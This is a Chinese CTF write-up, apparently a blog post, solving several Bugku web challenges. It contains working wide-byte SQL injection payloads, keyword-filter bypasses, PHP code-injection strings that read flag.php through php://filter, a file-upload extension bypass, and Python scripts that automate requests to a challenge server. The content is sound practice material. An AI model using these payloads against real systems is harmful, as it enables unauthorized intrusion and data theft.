因为已经看到过很多关于bugku平台上面web题的writeup,我想自己就不需要每道题都写了,只写自己比较有收获的几题的writeup,并且将自己收集到的好几种解法都放上来。
这道题提示上传php文件,但选择php文件上传的时候又提示非图片文件。
将一个php文件的后缀名改成.php.jpg或者.php.png,然后选择这个文件,点击上传的时候用burpsuite抓包,改文件名后缀为.php,forward之后就可看见flag。
选择一个图片文件上传,抓包将文件名后缀.jpg改成.jpg.php,也可以上传成功。
总之要保证选择文件的时候文件的后缀为图片,之后抓包改文件后缀为.php
查看网页源代码发现编码是gb2312,两个字节一个字符,可能存在宽字节注入,也就是注入的时候会将’转义成\’,通过输入%df’,转义之后就是%df%5c’,%df%5c这两个字节就会被合并成汉字 運,后面的’就被释放出来了。
确实,输入%df’会报错
%df' union select 1,2 %23
可以看到2的位置显示的东西变了,之后这个位置就可以作为注入点,用来显示我们需要的东西了。
%df' union select 1,database() %23
%df' union select 1,string from sql5.key %23
%23其实就是#,但这里用#会报错,不知道为什么,也可以将%23换成–+。
%df' union select 1,string from sql5.key--+
相比上一题过滤了很多关键字,另外编码也改成了utf-8,由于是用$id的形式传进去的,所以不需要闭合单引号
1 union select 1,database()%23 得到数据库为sql3
1 union select 1,hash from sql3.key%23
为了绕过对关键字的过滤,有下面两种方法:
解法1:
利用strip_tags函数,这个函数会剔除字符串里面的html标签。
1 union select 1,database()%23
1 union select 1,hash from sql3.key%23
更简洁的:
1 uni<>on se<>lect 1,database()%23
1 uni<>on se<>lect 1,hash fr<>om sql3.key%23
解法2:
利用%00截断
1 uni%00on se%00lect 1,database()%23
1 uni%00on se%00lect 1,hash fr%00om sql3.key%23
右键查看源代码
搜了一下@$_REQUEST 的意思是获得参数,不论是@$_GET还是@$_POST可以得到的参数@$_REQUEST都能得到。
所以构造hello的get参数。
$a应该最后会像字符串替换一样替换成hello的参数值吧。
<1> hello=);print_r(file("flag.php")
<2> hello=);var_dump(file("flag.php")
<3> hello=file("flag.php")
<4> hello=);include(@$_POST['b']
在POST区域:b=php://filter/convert.base64-encode/resource=flag.php
<5> hello=);include("php://filter/convert.base64-encode/resource=flag.php"
之后将获得的flag.php的base64编码后的源码解码得到flag。
php://filter/convert.base64-encode/resource=文件路径(如index.php)
function checkSubmit(){
var a=document.getElementById("password");
if("undefined"!=typeof a)
{
if("67d709b2b54aa2aa648cf6e87a7114f1"==a.value)
return!0;
alert("Error");
a.focus();
return!1
}
}
document.getElementById("levelQuest").οnsubmit=checkSubmit;
就是id为“password”的元素要传进去“67d709b2b54aa2aa648cf6e87a7114f1”。 onsubmit好像只有form有,所以form的id应该为“levelQuest”并且与checkSubmit函数关联。 于是在网页上F12修改页面的元素,form增加了id和onsubmit,输入修改了id,增加了value,提交后就可以看见flag了。 ![这里写图片描述](https://img-blog.csdn.net/20170815155959880?watermark/2/text/aHR0cDovL2Jsb2cuY3Nkbi5uZXQvU2Fua3kwdQ==/font/5a6L5L2T/fontsize/400/fill/I0JBQkFCMA==/dissolve/70/gravity/SouthEast)
抓包查看到响应头有一个flag字段,解码后得到的一个base64加密的字符串,最后base64解码得到数字723831。
构造参数 margin=723831用POST方法提交。
发现返回的flag值不一样了,最终得到的数字也改变了。
本以为是要重复n次之后就能拿到flag,但是最后看writeup知道“我感觉你得快点”两次发送应该用同一个会话。
收集到两份代码:
# -*- coding:utf-8 -*-
import requests
from base64 import b64decode
url='http://120.24.86.145:8002/web6/'
s=requests.Session(url)
a=s.get()
bs=a.headers['Flag']
flag=b64decode(bs)
flag=(flag.split(':')[1])[1:]
flag=b64decode(flag)
payload={'margin':flag}
r=s.post(url,data=payload)
print r.headers
print r.text
以及其简洁版本
import requests
import base64
url ='http://120.24.86.145:8002/web6/'
r =requests.session()
headers = r.get(url).headers
key = base64.b64decode(base64.b64decode(headers['flag']).split(':')[1])
data={'margin':key}
print r.post(url=url,data=data).content
上面一份可以理解,就是在一次会话中完成参数的提交,但是之前试了几次都出不来flag,而是提示“说了叫你快点。。。”,刚刚又试了一次,竟然出来了,嗯,证明代码没有问题!
# -*- coding:utf-8 -*-
from hackhttp import hackhttp
import base64
url = 'http://120.24.86.145:8002/web6/'
h = hackhttp(cookie_str='PHPSESSID=nsgvo07u0req808u0orteq1hvdsnttgf;')
code, head, html, redirect_url, log = h.http(url)
flag = base64.b64decode(base64.b64decode(head['flag']).split(': ')[1])
code, head, html, redirect_url, log = h.http(url,post='margin='+flag)
print html
这份代码我没有很理解,是不是两次都用一样的cookie并且cookie没有过期就也可以呢,但是手工试不行,只能用代码跑,以后得学习一下编这种类型的代码。
查看源代码发现一个1p.html文件。
在原网页访问这个页面会跳转到官网,但是有一次一不小心在view-source:页面访问了这个网页得到了发现:
url解码又base64解码后又url解码得到下面代码
if(!$_GET['id'])
{
header('Location: hello.php?id=1');
exit();
}
$id=$_GET['id'];
$a=$_GET['a'];
$b=$_GET['b'];
if(stripos($a,'.'))
{
echo 'no no no no no no no';
return ;
}
$data = @file_get_contents($a,'r');
if($data=="bugku is a nice plateform!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)
{
require("f4l2a3g.txt");
}
else
{
print "never never never give up !!!";
}
?>